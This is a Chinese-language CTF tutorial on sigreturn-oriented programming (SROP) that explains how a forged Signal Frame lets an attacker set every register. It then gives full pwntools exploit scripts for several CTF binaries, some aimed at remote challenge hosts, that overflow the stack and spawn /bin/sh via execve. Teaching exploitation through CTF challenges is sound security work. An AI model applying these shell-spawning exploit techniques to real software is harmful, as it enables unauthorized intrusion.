[TOC]
SROP原理
signal机制
signal
机制是类unix系统中进程间通信的一种方式。我们称其为软中断信号,或者软中断。一般分为三步:
- 内核向某个进程发送
signal
机制,该进程会被暂时挂起,进入内核态; - 内核会为该进程保存相应的上下文,之后跳转到注册好的
signal handler
中处理相应的signal
; signal handler
返回后,内核执行sigreturn
系统调用,为该进程恢复之前保存的上下文。
1、sigreturn
是一个系统调用,在类 unix 系统发生 signal
的时候会被间接地调用。
2、内核在保存进程相应的上下文时,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,需要注意的是,这一部分是在用户进程的地址空间的。称 ucontext
以及 siginfo
这一段为 Signal Frame
,此时栈结构如下:
3、内核在恢复进程相应的上下文时,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
漏洞
漏洞原理
内核在 signal
信号处理的过程中的工作,主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame
中。但是需要注意的是:
Signal Fram
e 被保存在用户的地址空间中,所以用户是可以读写的。- 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个
signal
对应的Signal Frame
,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
也就是说我们可以伪造一个Signal Frame
,然后主动去执行 sigreturn
系统调用,这时内核会以为我们是从singal hanlder
返回的,所以就会恢复进程上下文,这时就可以修改所有寄存器的值为我们伪造Sinal Frame
中的值。
漏洞利用
1、如下图,我们在栈中伪造一个Sinal Frame
,当我们执行 sigreturn
系统调用时,寄存器中的值就会被修改:
rax=59
rdi=&"/bin/sh"
rsi=0
rdx=0
rip=&syscall
这就是execv的一个系统调用,接下来会去执行execv("/bin/sh", 0, 0)
2、在1)例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可:
- 控制栈指针rsp。
- 把原来 rip 指向的
syscall
gadget 换成syscall; ret
gadget。
如下图所示 ,这样当每次 syscall
返回的时候,栈指针都会指向下一个 Signal Frame
。因此就可以执行一系列的 sigreturn
函数调用。
利用条件
我们在构造 ROP 攻击的时候,需要满足下面的条件
- 可以通过栈溢出来控制栈的内容(伪造Signal Frame
- 需要知道相应的地址
- “/bin/sh”
- Signal Frame
- syscall(syscall_ret)
- sigreturn
- 需要有够大的空间来塞下整个 Signal Frame
对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。
例题
360春秋杯——smallest-pwn
程序只开启了NX保护,但是代码甚少,我们可用的代码如下图:
程序直接向栈顶写入0x400个字符
- 这个题就是典型的通过 read 函数返回值来间接修改RAX 寄存器的值
- 题目中并没有
/bin/sh
字符串,这里需要我们自己写入,但这个程序很小没有BSS段,所以我们直接把/bin/sh
写在栈上- 所以我们要泄漏栈地址
- 然后把
/bin/sh
写入栈上
- 伪造Signal Frame,执行execv函数
exp:
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
if args['REMOTE']:
io = remote('node4.buuoj.cn',25526)
else:
io = process("./smallest")
"""
0x4000B0 xor rax, rax
0x4000B3 mov edx, 400h
0x4000B8 mov rsi, rsp
0x4000BB mov rdi, rax
0x4000BE syscall
0x4000C0 ret
"""
def debug():
gdb.attach(io)
pause()
syscall_ret = 0x4000BE
payload = p64(0x4000B0)*3 #这里需要三次,第一次修改低字节为B3,第二次泄漏栈地址,第三次写入payload执行后期操作
io.send(payload)
io.send('\xB3') #把低字节修改为B3,而跳过xor rax,rax,且read只读入一个字符,所以返回值rax=1,为write系统调用号
stack = u64(io.recv()[8:16].ljust(8, '\x00'))
print("stack:", hex(stack))
#控制rsp到stack上
read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = stack
read_frame.rdx = 0x400
read_frame.rsp = stack
read_frame.rip = syscall_ret
payload = p64(0x4000B0) + p64(syscall_ret) + str(read_frame)
io.send(payload)
io.send(payload[8:8+15]) #read读取15个字符,返回值rax=15,为sigreturn系统调用号,且避免前之前的payload覆盖,所以就直接把payload的8-23个字符写入
#向栈上写入'/bin/sh\x00',并执行execv
execv_frame = SigreturnFrame()
execv_frame.rax = 59
execv_frame.rdi = stack + 0x120
execv_frame.rsi = 0
execv_frame.rdx = 0
execv_frame.rsp = stack
execv_frame.rip = syscall_ret
payload = p64(0x4000B0) + p64(syscall_ret) + str(execv_frame)
payload += (0x120 - len(![2-1](./PWN-SROP/2-1.png)payload))*'\x00' + '/bin/sh\x00'
io.send(payload)
io.send(payload[8:8+15])
#debug()
io.interactive()
nkctf2023——ez_stack
程序只开启了NX保护,且有syscall_ret
我们发现有把eax赋值为0xf的操作,所以可以SROP
exp1
- 把
/bin/sh/\x00
写入bss段上
from pwn import *
context(os = 'linux', arch = 'amd64')
io = process("./ez_stack")
elf = ELF("./ez_stack")
def debug():
gdb.attach(io, "b *0x4011B9")
bss = elf.bss()
mov_rax = 0x401146 #mov rax, 0xf ; ret
syscall = 0x4011EE
print(hex(bss))
#读取/bin/sh/\x00到bss段上
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x200
sigframe.rsp = bss + 8
sigframe.rip = syscall
payload = b'A'*0x10 + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
payload = b'/bin/sh\x00' + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)
#debug()
io.interactive()
exp2
- 可以看到在下面的syscall之后,有一个 mov eax,0 的操作,所以我们直接跳到0x40011c8那就可以直接向
nkctf
的位置写入/bin/sh\x00
字符串了
from pwn import *
context(os = 'linux', arch = 'amd64')
io = process("./ez_stack")
elf = ELF("./ez_stack")
def debug():
gdb.attach(io, "b *0x4011B9")
mov_rax = 0x401146 #mov rax, 0xf ; ret
syscall = 0x4011EE
binsh = 0x404040 #address of nkctf
payload = b'A'*0x10 + b'deadbeef' + p64(0x4011C8)
io.send(payload)
io.send(b'/bin/sh\x00')
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
payload = b'A'*0x10 + b'deadbeef' + p64(mov_rax) + p64(syscall) + str(sigframe)
io.send(payload)
#debug()
io.interactive()
buuctf——ciscn_2019_s_3
- 这道题跟nkctf2023-ez_satck几乎一样
from pwn import *
context(os = 'linux', arch = 'amd64')
#context.log_level = 'debug'
if args["REMOTE"]:
io = remote('node4.buuoj.cn', 26680)
else:
io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")
bss = elf.bss()
syscall_ret = 0x400517
sigreturn = 0x4004DA
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x200
sigframe.rsp = bss + 8
sigframe.rip = syscall_ret
payload = b'A'*0x10 + p64(sigreturn) + p64(syscall_ret) + str(sigframe)
io.send(payload)
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = b'/bin/sh\x00' + p64(sigreturn) + p64(syscall_ret) + str(sigframe)
io.send(payload)
io.interactive()
- 当然这道题有mov rax,0x3B,并且后面write输出字节为0x30,而buf只有0x10大小且与rbp也只相差0x10,且rbp,rsp是重合的,所以可以泄漏栈地址,然后可以直接打ret2csu修改rdi、rsi、rdi的值(后面写ret2csu再写)
rootersctf_2019_srop
- 与上面题目套路一样
参考文章:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/